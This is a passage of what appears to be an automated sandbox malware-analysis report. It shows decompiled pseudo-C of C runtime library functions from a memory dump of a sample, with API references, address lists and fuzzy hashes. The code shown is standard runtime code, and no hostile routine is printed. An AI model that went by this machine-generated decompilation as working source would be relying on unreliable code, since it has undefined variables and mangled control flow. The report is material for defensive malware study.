				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x4168c0;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x41a898;
				E004059E4(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E00404499();
				E004059E4(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x41a888; // 0x41a7b0
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E00408141( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E00402959(E004044A2());
			}

0x004043c4
0x004043c4
0x004043c6
0x004043cb
0x004043d0
0x004043d6
0x004043de
0x004043e1
0x004043e6
0x004043e7
0x004043ea
0x004043ed
0x004043f7
0x004043fc
0x00404404
0x0040440c
0x0040441c
0x0040441c
0x00404422
0x00404425
0x0040442c
0x00404433
0x0040443c
0x00404442
0x00404449
0x0040444f
0x00404456
0x0040445d
0x00404463
0x00404466
0x00404469
0x0040446e
0x00404470
0x00404475
0x00404475
0x0040447b
0x00404481
0x00404492

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00417EA0,0000000C,004044FF,00000000,00000000,?,0040105F,00000000,0041A010), ref: 004043D6
__crt_waiting_on_module_handle.LIBCMT ref: 004043E1

Part of subcall function 00403697: Sleep.KERNEL32(000003E8,00000000,?,004042EA,KERNEL32.DLL,?,00404356,?,0040105F,00000000,0041A010), ref: 004036A3
Part of subcall function 00403697: GetModuleHandleW.KERNEL32(00000000,?,004042EA,KERNEL32.DLL,?,00404356,?,0040105F,00000000,0041A010), ref: 004036AC

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0040440A
GetProcAddress.KERNEL32(004168C0,DecodePointer), ref: 0040441A
__lock.LIBCMT ref: 0040443C
InterlockedIncrement.KERNEL32(?), ref: 00404449
__lock.LIBCMT ref: 0040445D
___addlocaleref.LIBCMT ref: 0040447B

Strings

EncodePointer, xrefs: 004043FE
KERNEL32.DLL, xrefs: 004043D0, 004043D5, 004043E0
DecodePointer, xrefs: 00404412

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 54f8c5f34c6bc7c2a3e49864ca8e759d4096070db0e67bcf254367c69a69e8c6
Instruction ID: 5dc6d82e2b71dba88b872a7ef428a14285a9906b103dfc0ef3a0970a5e0c1c52
Opcode Fuzzy Hash: 54f8c5f34c6bc7c2a3e49864ca8e759d4096070db0e67bcf254367c69a69e8c6
Instruction Fuzzy Hash: 77119DB0941701EBD720AF26D905B9ABBE4AF44318F10842FE499A72E1CB78DA41CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00411FDA Relevance: 16.7, APIs: 11, Instructions: 166
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 88%

			E00411FDA(intOrPtr* __ecx, void* __edx, int _a4, char* _a8, int _a12, short* _a16, int _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				short _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t44;
				intOrPtr _t46;
				void* _t47;
				short _t49;
				int _t63;
				short* _t67;
				long _t73;
				short* _t75;
				void* _t76;
				void* _t85;
				intOrPtr* _t87;
				short _t88;
				void* _t89;
				int _t90;
				char* _t92;
				void* _t93;
				signed int _t97;
				short* _t98;
				void* _t106;

				_t85 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t44 =  *0x41a550; // 0xdbec4c0
				_v8 = _t44 ^ _t97;
				_t46 =  *0x41ba94; // 0x1
				_t75 = 0;
				_t87 = __ecx;
				if(_t46 != 0) {
					L6:
					__eflags = _t46 - 2;
					if(_t46 == 2) {
						L25:
						_t92 = 0;
						__eflags = _a24 - _t75;
						if(_a24 == _t75) {
							_a24 =  *((intOrPtr*)( *_t87 + 0x14));
						}
						__eflags = _a20 - _t75;
						if(_a20 == _t75) {
							_a20 =  *((intOrPtr*)( *_t87 + 4));
						}
						_t47 = E00413CDB(_t75, _t85, _t87, _t92, _a24);
						__eflags = _t47 - 0xffffffff;
						if(_t47 != 0xffffffff) {
							__eflags = _t47 - _a20;
							if(_t47 == _a20) {
								L34:
								_t88 = GetStringTypeA(_a24, _a4, _a8, _a12, _a16);
								__eflags = _t92 - _t75;
								if(__eflags != 0) {
									_push(_t92);
									E00404A01(_t75, _t88, _t92, __eflags);
								}
								_t49 = _t88;
								goto L37;
							}
							_t92 = E00413D24(_t85, _a20, _t47, _a8,  &_a12, _t75, _t75);
							__eflags = _t92 - _t75;
							if(_t92 == _t75) {
								goto L30;
							}
							_a8 = _t92;
							goto L34;
						} else {
							L30:
							_t49 = 0;
							L37:
							_pop(_t89);
							_pop(_t93);
							_pop(_t76);
							return E004057A2(_t49, _t76, _v8 ^ _t97, _t85, _t89, _t93);
						}
					}
					__eflags = _t46 - _t75;
					if(_t46 == _t75) {
						goto L25;
					}
					__eflags = _t46 - 1;
					if(_t46 != 1) {
						goto L30;
					}
					L9:
					_v12 = _t75;
					if(_a20 == _t75) {
						_a20 =  *((intOrPtr*)( *_t87 + 4));
					}
					_t90 = MultiByteToWideChar(_a20, 1 + (0 | _a28 != _t75) * 8, _a8, _a12, _t75, _t75);
					_t106 = _t90 - _t75;
					if(_t106 == 0) {
						goto L30;
					} else {
						if(_t106 <= 0 || _t90 > 0x7ffffff0) {
							L21:
							if(_t75 == 0) {
								goto L30;
							}
							E00402400(_t90, _t75, 0, _t90 + _t90);
							_t63 = MultiByteToWideChar(_a20, 1, _a8, _a12, _t75, _t90);
							if(_t63 != 0) {
								_v12 = GetStringTypeW(_a4, _t75, _t63, _a16);
							}
							E0040C887(_t75);
							_t49 = _v12;
							goto L37;
						} else {
							_t16 = _t90 + 8; // 0x8
							_t66 = _t90 + _t16;
							if(_t90 + _t16 > 0x400) {
								_t67 = E0040AA9E(_t75, _t85, _t90, _t66);
								__eflags = _t67 - _t75;
								if(_t67 == _t75) {
									L20:
									_t75 = _t67;
									goto L21;
								}
								 *_t67 = 0xdddd;
								L19:
								_t67 =  &(_t67[4]);
								goto L20;
							}
							E00412D80(_t66);
							_t67 = _t98;
							if(_t67 == _t75) {
								goto L20;
							}
							 *_t67 = 0xcccc;
							goto L19;
						}
					}
				}
				if(GetStringTypeW(1, 0x417ca4, 1,  &_v12) == 0) {
					_t73 = GetLastError();
					__eflags = _t73 - 0x78;
					if(_t73 != 0x78) {
						_t46 =  *0x41ba94; // 0x1
					} else {
						_t46 = 2;
						 *0x41ba94 = _t46;
					}
					goto L6;
				}
				 *0x41ba94 = 1;
				goto L9;
			}

0x00411fda
0x00411fdf
0x00411fe0
0x00411fe1
0x00411fe8
0x00411feb
0x00411ff2
0x00411ff5
0x00411ff9
0x00412035
0x00412035
0x00412038
0x0041210d
0x0041210d
0x0041210f
0x00412112
0x00412119
0x00412119
0x0041211c
0x0041211f
0x00412126
0x00412126
0x0041212c
0x00412132
0x00412135
0x0041213b
0x0041213e
0x0041215e
0x00412173
0x00412175
0x00412177
0x00412179
0x0041217a
0x0041217f
0x00412180
0x00000000
0x00412180
0x00412152
0x00412157
0x00412159
0x00000000
0x00000000
0x0041215b
0x00000000
0x00412137
0x00412137
0x00412137
0x00412182
0x00412185
0x00412186
0x00412187
0x00412193
0x00412193
0x00412135
0x0041203e
0x00412040
0x00000000
0x00000000
0x00412046
0x00412049
0x00000000
0x00000000
0x0041204f
0x0041204f
0x00412055
0x0041205c
0x0041205c
0x00412082
0x00412084
0x00412086
0x00000000
0x0041208c
0x0041208c
0x004120ca
0x004120cc
0x00000000
0x00000000
0x004120d5
0x004120ea
0x004120ee
0x004120fe
0x004120fe
0x00412102
0x00412107
0x00000000
0x00412096
0x00412096
0x00412096
0x0041209f
0x004120b5
0x004120bb
0x004120bd
0x004120c8
0x004120c8
0x00000000
0x004120c8
0x004120bf
0x004120c5
0x004120c5
0x00000000
0x004120c5
0x004120a1
0x004120a6
0x004120aa
0x00000000
0x00000000
0x004120ac
0x00000000
0x004120ac
0x0041208c
0x00412086
0x00412011
0x0041201b
0x00412021
0x00412024
0x00412030
0x00412026
0x00412028
0x00412029
0x00412029
0x00000000
0x00412024
0x00412013
0x00000000

APIs

GetStringTypeW.KERNEL32(00000001,00417CA4,00000001,?,0041B6FC,?,00000000,?,?,?,004121C4,00000001,?,00407AC0,?,?), ref: 00412009
GetLastError.KERNEL32(?,004121C4,00000001,?,00407AC0,?,?,?,?,00407AC0,?,00000001,00407AC0,00000000,?,0040C398), ref: 0041201B
MultiByteToWideChar.KERNEL32(00407AC0,00000000,?,?,00000000,00000000,0041B6FC,?,00000000,?,?,?,004121C4,00000001,?,00407AC0), ref: 00412080
_malloc.LIBCMT ref: 004120B5
_memset.LIBCMT ref: 004120D5
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00000000,00000000,00000000,?,?,00407AC0,?,00000001,00407AC0,00000000,?,0040C398,00407AC0), ref: 004120EA
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,0040C398,00407AC0,00000004), ref: 004120F8
__freea.LIBCMT ref: 00412102
___ansicp.LIBCMT ref: 0041212C
___convertcp.LIBCMT ref: 0041214D

Part of subcall function 00413D24: GetCPInfo.KERNEL32(?,00407AC0,?,00000000,00000000,00000000,?,?,?,004121C4,00000001,?,00407AC0,?,?,?), ref: 00413D6F
Part of subcall function 00413D24: GetCPInfo.KERNEL32(?,00000001,?,004121C4,00000001,?), ref: 00413D88
Part of subcall function 00413D24: _strlen.LIBCMT ref: 00413DA6
Part of subcall function 00413D24: _memset.LIBCMT ref: 00413E1E
Part of subcall function 00413D24: MultiByteToWideChar.KERNEL32(?,00000001,?,004121C4,?,00000000,?,?,?,?,?,?,?,004121C4,00000001,?), ref: 00413E35
Part of subcall function 00413D24: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,004121C4), ref: 00413E50

GetStringTypeA.KERNEL32(?,?,?,?,?,0041B6FC,?,00000000,?,?,?,004121C4,00000001,?,00407AC0,?), ref: 0041216D

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: ByteCharMultiWide$StringType$Info_memset$ErrorLast___ansicp___convertcp__freea_malloc_strlen
String ID:
API String ID: 820197566-0
Opcode ID: 4b9bb585d2886f32a873212233d828604252602904f23578ee577a434fc68a06
Instruction ID: bd1df50b8750e82d9b32b6600c83140f90e30ba0ec0409431a651977953664f9
Opcode Fuzzy Hash: 4b9bb585d2886f32a873212233d828604252602904f23578ee577a434fc68a06
Instruction Fuzzy Hash: C451AC7150010ABFDB20DFA4DE819EF3FA9EB08364B10412AFA04D7250D779CDA1DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00409025 Relevance: 15.1, APIs: 10, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00409025(void* __ebx, intOrPtr _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t13;
				intOrPtr _t14;
				intOrPtr _t17;
				void* _t43;
				intOrPtr* _t51;

				if(_a4 > 5 || _a8 == 0) {
					L4:
					return 0;
				} else {
					_t51 = E00404CAD(8, 1);
					_t57 = _t51;
					if(_t51 != 0) {
						_t13 = E00404CAD(0xd8, 1);
						 *_t51 = _t13;
						__eflags = _t13;
						if(__eflags != 0) {
							_t14 = E00404CAD(0x220, 1);
							 *((intOrPtr*)(_t51 + 4)) = _t14;
							__eflags = _t14;
							if(__eflags != 0) {
								E00408269( *_t51, 0x41a7b0);
								_t48 =  *_t51;
								_t17 = E00408E0A(_a8,  *_t51, _a4);
								_pop(_t43);
								__eflags = _t17;
								if(__eflags != 0) {
									__eflags = E004095DB(_t43, _t48, __eflags,  *((intOrPtr*)( *_t51 + 4)),  *((intOrPtr*)(_t51 + 4)));
									if(__eflags == 0) {
										 *((intOrPtr*)( *((intOrPtr*)(_t51 + 4)))) = 1;
										 *((intOrPtr*)( *((intOrPtr*)(_t51 + 4)))) = 1;
										L17:
										return _t51;
									}
									_push( *((intOrPtr*)(_t51 + 4)));
									E00404A01(__ebx, 1, _t51, __eflags);
									E004081D0( *_t51);
									E00407FF8( *_t51);
									_push(_t51);
									E00404A01(__ebx, 1, _t51, __eflags);
									L15:
									_t51 = 0;
									goto L17;
								}
								E004081D0( *_t51);
								E00407FF8( *_t51);
								_push(_t51);
								E00404A01(__ebx, 1, _t51, __eflags);
								goto L15;
							}
							_push( *_t51);
							E00404A01(__ebx, 1, _t51, __eflags);
							_push(_t51);
							E00404A01(__ebx, 1, _t51, __eflags);
							L8:
							goto L3;
						}
						_push(_t51);
						E00404A01(__ebx, 1, _t51, __eflags);
						goto L8;
					}
					L3:
					 *((intOrPtr*)(E00402673(_t57))) = 0xc;
					goto L4;
				}
			}

0x00409030
0x00409056
0x00000000
0x00409038
0x00409043
0x00409047
0x00409049
0x00409062
0x00409069
0x0040906b
0x0040906d
0x0040907e
0x00409085
0x00409088
0x0040908a
0x004090a3
0x004090ae
0x004090b0
0x004090b5
0x004090b6
0x004090b8
0x004090e2
0x004090e4
0x0040910c
0x00409111
0x00409113
0x00000000
0x00409113
0x004090e6
0x004090e9
0x004090f0
0x004090f7
0x004090fc
0x004090fd
0x00409105
0x00409105
0x00000000
0x00409105
0x004090bc
0x004090c3
0x004090c8
0x004090c9
0x00000000
0x004090ce
0x0040908c
0x0040908e
0x00409093
0x00409094
0x00409075
0x00000000
0x00409075
0x0040906f
0x00409070
0x00000000
0x00409070
0x0040904b
0x00409050
0x00000000
0x00409050

APIs

__calloc_crt.LIBCMT ref: 0040903E

Part of subcall function 00404CAD: __calloc_impl.LIBCMT ref: 00404CBE
Part of subcall function 00404CAD: Sleep.KERNEL32(00000000,0040105F,00000000,0041A010), ref: 00404CD5

__calloc_crt.LIBCMT ref: 00409062
__calloc_crt.LIBCMT ref: 0040907E
__copytlocinfo_nolock.LIBCMT ref: 004090A3
__setlocale_nolock.LIBCMT ref: 004090B0
___removelocaleref.LIBCMT ref: 004090BC
___freetlocinfo.LIBCMT ref: 004090C3
__setmbcp_nolock.LIBCMT ref: 004090DB
___removelocaleref.LIBCMT ref: 004090F0
___freetlocinfo.LIBCMT ref: 004090F7

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: __calloc_crt$___freetlocinfo___removelocaleref$Sleep__calloc_impl__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 2969281212-0
Opcode ID: bc8690fa15a16c220bb2db8f816911939f4b60b98934a6ab41b89ce9f17e67aa
Instruction ID: bfec1423fcc47b187c3acc600d0bd4830a93816b71d59a5ef7fa1ff85f506ca0
Opcode Fuzzy Hash: bc8690fa15a16c220bb2db8f816911939f4b60b98934a6ab41b89ce9f17e67aa
Instruction Fuzzy Hash: 4921F675248601AAEB217F26D80294B77E1DF81758B21403FF484766D2EE3F9C119A5D

Uniqueness

Uniqueness Score: -1.00%

Function 004084CD Relevance: 9.0, APIs: 6, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004084CD(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t24;
				void* _t35;
				intOrPtr* _t37;
				void* _t38;
				void* _t39;

				_t39 = __eflags;
				_t27 = __ebx;
				_push(0xc);
				_push(0x4181c0);
				E00402914(__ebx, __edi, __esi);
				_t35 = E00404524(__ebx, __edx, __edi, _t39);
				_t37 = E00404CAD(8, 1);
				 *((intOrPtr*)(_t38 - 0x1c)) = _t37;
				_t40 = _t37;
				if(_t37 != 0) {
					E004082CD(__ebx, __edx, _t35, _t37, __eflags);
					E004094BB(__ebx, __edx, _t35, _t37, __eflags);
					 *_t37 =  *((intOrPtr*)(_t35 + 0x6c));
					 *(_t37 + 4) =  *(_t35 + 0x68);
					E004059E4(_t27, 0xc);
					_t5 = _t38 - 4;
					 *_t5 =  *(_t38 - 4) & 0x00000000;
					__eflags =  *_t5;
					E00408141( *_t37);
					 *(_t38 - 4) = 0xfffffffe;
					E00408567();
					E004059E4(_t27, 0xd);
					 *(_t38 - 4) = 1;
					InterlockedIncrement( *(_t37 + 4));
					 *(_t38 - 4) = 0xfffffffe;
					E00408573();
					_t24 = _t37;
				} else {
					 *((intOrPtr*)(E00402673(_t40))) = 0xc;
					_t24 = 0;
				}
				return E00402959(_t24);
			}

0x004084cd
0x004084cd
0x004084cd
0x004084cf
0x004084d4
0x004084de
0x004084eb
0x004084ed
0x004084f0
0x004084f2
0x00408503
0x00408508
0x00408510
0x00408515
0x0040851a
0x00408520
0x00408520
0x00408520
0x00408526
0x0040852c
0x00408533
0x0040853a
0x00408540
0x0040854a
0x00408550
0x00408557
0x0040855c
0x004084f4
0x004084f9
0x004084ff
0x004084ff
0x00408563

APIs

__getptd.LIBCMT ref: 004084D9

Part of subcall function 00404524: __getptd_noexit.LIBCMT ref: 00404527
Part of subcall function 00404524: __amsg_exit.LIBCMT ref: 00404534

__calloc_crt.LIBCMT ref: 004084E4

Part of subcall function 00404CAD: __calloc_impl.LIBCMT ref: 00404CBE
Part of subcall function 00404CAD: Sleep.KERNEL32(00000000,0040105F,00000000,0041A010), ref: 00404CD5

__lock.LIBCMT ref: 0040851A
___addlocaleref.LIBCMT ref: 00408526
__lock.LIBCMT ref: 0040853A
InterlockedIncrement.KERNEL32(?), ref: 0040854A

Part of subcall function 00402673: __getptd_noexit.LIBCMT ref: 00402673

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: __getptd_noexit__lock$IncrementInterlockedSleep___addlocaleref__amsg_exit__calloc_crt__calloc_impl__getptd
String ID:
API String ID: 3538106438-0
Opcode ID: 621d3895829c6b49b9660ea63490fc0c05586413185529fdfcceef67b59ec367
Instruction ID: a2c7048e600bd7d3766a7fbaf316fb38f97334e219a7c11658b2c65c2179a7bc
Opcode Fuzzy Hash: 621d3895829c6b49b9660ea63490fc0c05586413185529fdfcceef67b59ec367
Instruction Fuzzy Hash: A8019271600701EBEB10BF759A03B5D76A0AF04728F20412FF4947A2C1CF7C49419B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405178 Relevance: 7.6, APIs: 5, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00405178(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				long _t27;
				signed int _t34;
				signed int _t36;
				signed char _t42;
				intOrPtr* _t46;
				void* _t49;
				signed int _t56;
				void* _t57;

				_t55 = __esi;
				_t49 = __edx;
				_push(0xc);
				_push(0x417f78);
				E00402914(__ebx, __edi, __esi);
				 *(_t57 - 0x1c) = 0;
				_t42 = 0;
				if(( *(_t57 + 0xc) & 0x00000008) != 0) {
					_t42 = 0x20;
				}
				if(( *(_t57 + 0xc) & 0x00004000) != 0) {
					_t42 = _t42 | 0x00000080;
				}
				if(( *(_t57 + 0xc) & 0x00000080) != 0) {
					_t42 = _t42 | 0x00000010;
				}
				_t27 = GetFileType( *(_t57 + 8));
				if(_t27 != 0) {
					__eflags = _t27 - 2;
					if(__eflags != 0) {
						__eflags = _t27 - 3;
						if(__eflags == 0) {
							_t42 = _t42 | 0x00000008;
							__eflags = _t42;
						}
					} else {
						_t42 = _t42 | 0x00000040;
					}
					_t56 = E00404FDE(_t42, _t49, 0, _t55, __eflags);
					 *(_t57 + 0xc) = _t56;
					__eflags = _t56 - 0xffffffff;
					if(__eflags != 0) {
						 *((intOrPtr*)(_t57 - 4)) = 0;
						E00404D99(_t42, _t56,  *(_t57 + 8));
						_t46 = 0x41bbc0 + (_t56 >> 5) * 4;
						_t34 = (_t56 & 0x0000001f) << 6;
						 *( *_t46 + _t34 + 4) = _t42 | 0x00000001;
						 *( *_t46 + _t34 + 0x24) =  *( *_t46 + _t34 + 0x24) & 0x00000080;
						 *( *_t46 + _t34 + 0x24) =  *( *_t46 + _t34 + 0x24) & 0x0000007f;
						 *(_t57 - 0x1c) = 1;
						 *((intOrPtr*)(_t57 - 4)) = 0xfffffffe;
						_t36 = E00405266(0, _t56);
						__eflags =  *(_t57 - 0x1c);
						if( *(_t57 - 0x1c) == 0) {
							goto L8;
						}
						_t37 = _t56;
						goto L9;
					} else {
						 *((intOrPtr*)(E00402673(__eflags))) = 0x18;
						_t36 = E00402686(__eflags);
						 *_t36 = 0;
						goto L8;
					}
				} else {
					_t36 = E00402699(GetLastError());
					L8:
					_t37 = _t36 | 0xffffffff;
					L9:
					return E00402959(_t37);
				}
			}

0x00405178
0x00405178
0x00405178
0x0040517a
0x0040517f
0x00405186
0x00405189
0x0040518f
0x00405191
0x00405191
0x0040519b
0x0040519d
0x0040519d
0x004051a4
0x004051a6
0x004051a6
0x004051ac
0x004051b4
0x004051cc
0x004051cf
0x004051d6
0x004051d9
0x004051db
0x004051db
0x004051db
0x004051d1
0x004051d1
0x004051d1
0x004051e3
0x004051e5
0x004051e8
0x004051eb
0x00405201
0x00405208
0x00405217
0x00405223
0x00405228
0x00405232
0x0040523b
0x0040523e
0x00405245
0x0040524c
0x00405251
0x00405254
0x00000000
0x00000000
0x0040525a
0x00000000
0x004051ed
0x004051f2
0x004051f8
0x004051fd
0x00000000
0x004051fd
0x004051b6
0x004051bd
0x004051c3
0x004051c3
0x004051c6
0x004051cb
0x004051cb

APIs

GetFileType.KERNEL32 ref: 004051AC
GetLastError.KERNEL32(?,?,00417F78,0000000C), ref: 004051B6
__dosmaperr.LIBCMT ref: 004051BD
__alloc_osfhnd.LIBCMT ref: 004051DE
__set_osfhnd.LIBCMT ref: 00405208

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: ErrorFileLastType__alloc_osfhnd__dosmaperr__set_osfhnd
String ID:
API String ID: 43408053-0
Opcode ID: 0849e630680a8a8b1b76160acefc4f8f547cdbce931b3e615ff009b2e92f6743
Instruction ID: 417f7844ae46f1e082a465723f9af685301617e363a653f1250fb5d41905576e
Opcode Fuzzy Hash: 0849e630680a8a8b1b76160acefc4f8f547cdbce931b3e615ff009b2e92f6743
Instruction Fuzzy Hash: 74213670901A059ADB119B35C80579A7F60EF42328F28876AE460AF2E3C77D8942DF8C

Uniqueness

Uniqueness Score: -1.00%

Function 004084C2 Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004084C2(void* __ebx, void* __edi, void* __esi, void* __eflags, LONG** _a4) {
				signed int _v8;
				void* _t10;
				LONG* _t13;
				LONG* _t18;
				LONG* _t22;
				LONG** _t33;

				_t31 = __edi;
				_t24 = __ebx;
				_push(8);
				_push(0x418198);
				_t10 = E00402914(__ebx, __edi, __esi);
				_t33 = _a4;
				if(_t33 != 0) {
					E004059E4(__ebx, 0xd);
					_v8 = _v8 & 0x00000000;
					_t13 = _t33[1];
					if(_t13 != 0 && InterlockedDecrement(_t13) == 0) {
						_t22 = _t33[1];
						_t42 = _t22 - 0x41a898;
						if(_t22 != 0x41a898) {
							_push(_t22);
							E00404A01(_t24, __edi, _t33, _t42);
						}
					}
					_v8 = 0xfffffffe;
					E004084AD();
					if( *_t33 != 0) {
						E004059E4(_t24, 0xc);
						_v8 = 1;
						E004081D0( *_t33);
						_t18 =  *_t33;
						if(_t18 != 0 &&  *_t18 == 0) {
							_t46 = _t18 - 0x41a7b0;
							if(_t18 != 0x41a7b0) {
								E00407FF8(_t18);
							}
						}
						_v8 = 0xfffffffe;
						E004084B9();
					}
					 *_t33 = 0xbaadf00d;
					_t33[1] = 0xbaadf00d;
					_push(_t33);
					_t10 = E00404A01(_t24, _t31, _t33, _t46);
				}
				return E00402959(_t10);
			}

0x004084c2
0x004084c2
0x00408400
0x00408402
0x00408407
0x0040840c
0x00408411
0x00408419
0x0040841f
0x00408423
0x00408428
0x00408435
0x00408438
0x0040843d
0x0040843f
0x00408440
0x00408445
0x0040843d
0x00408446
0x0040844d
0x00408455
0x00408459
0x0040845f
0x00408468
0x0040846e
0x00408472
0x00408479
0x0040847e
0x00408481
0x00408486
0x0040847e
0x00408487
0x0040848e
0x0040848e
0x00408498
0x0040849a
0x0040849d
0x0040849e
0x004084a3
0x004084a9

APIs

__lock.LIBCMT ref: 00408419

Part of subcall function 004059E4: __mtinitlocknum.LIBCMT ref: 004059FA
Part of subcall function 004059E4: __amsg_exit.LIBCMT ref: 00405A06
Part of subcall function 004059E4: EnterCriticalSection.KERNEL32(00401050,00401050,?,0040ABE9,00000004,00418280,0000000C,00404CC3,00000000,0040105F,00000000,00000000,00000000,?,004044D6,00000001), ref: 00405A0E

InterlockedDecrement.KERNEL32(00000000), ref: 0040842B

Part of subcall function 00404A01: __lock.LIBCMT ref: 00404A1F
Part of subcall function 00404A01: ___sbh_find_block.LIBCMT ref: 00404A2A
Part of subcall function 00404A01: ___sbh_free_block.LIBCMT ref: 00404A39
Part of subcall function 00404A01: HeapFree.KERNEL32(00000000,00000000,00417EF0), ref: 00404A69
Part of subcall function 00404A01: GetLastError.KERNEL32(?,0040ABE9,00000004,00418280,0000000C,00404CC3,00000000,0040105F,00000000,00000000,00000000,?,004044D6,00000001,00000214), ref: 00404A7A

__lock.LIBCMT ref: 00408459
___removelocaleref.LIBCMT ref: 00408468
___freetlocinfo.LIBCMT ref: 00408481

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: __lock$CriticalDecrementEnterErrorFreeHeapInterlockedLastSection___freetlocinfo___removelocaleref___sbh_find_block___sbh_free_block__amsg_exit__mtinitlocknum
String ID:
API String ID: 1907232653-0
Opcode ID: 1026b88885a06b287e6c1e8c2615c42954d29e41b6d1bf153606db06eda400f0
Instruction ID: fb4c77b3a1437f5d32c6e0b0f1ed228cda5b231b719d1a42386cce96b45616f7
Opcode Fuzzy Hash: 1026b88885a06b287e6c1e8c2615c42954d29e41b6d1bf153606db06eda400f0
Instruction Fuzzy Hash: 1111BF71601302D6DB30AFA59A0575E76949F00728F24843FF4D4BB2C1EF3CD9808A1D

Uniqueness

Uniqueness Score: -1.00%

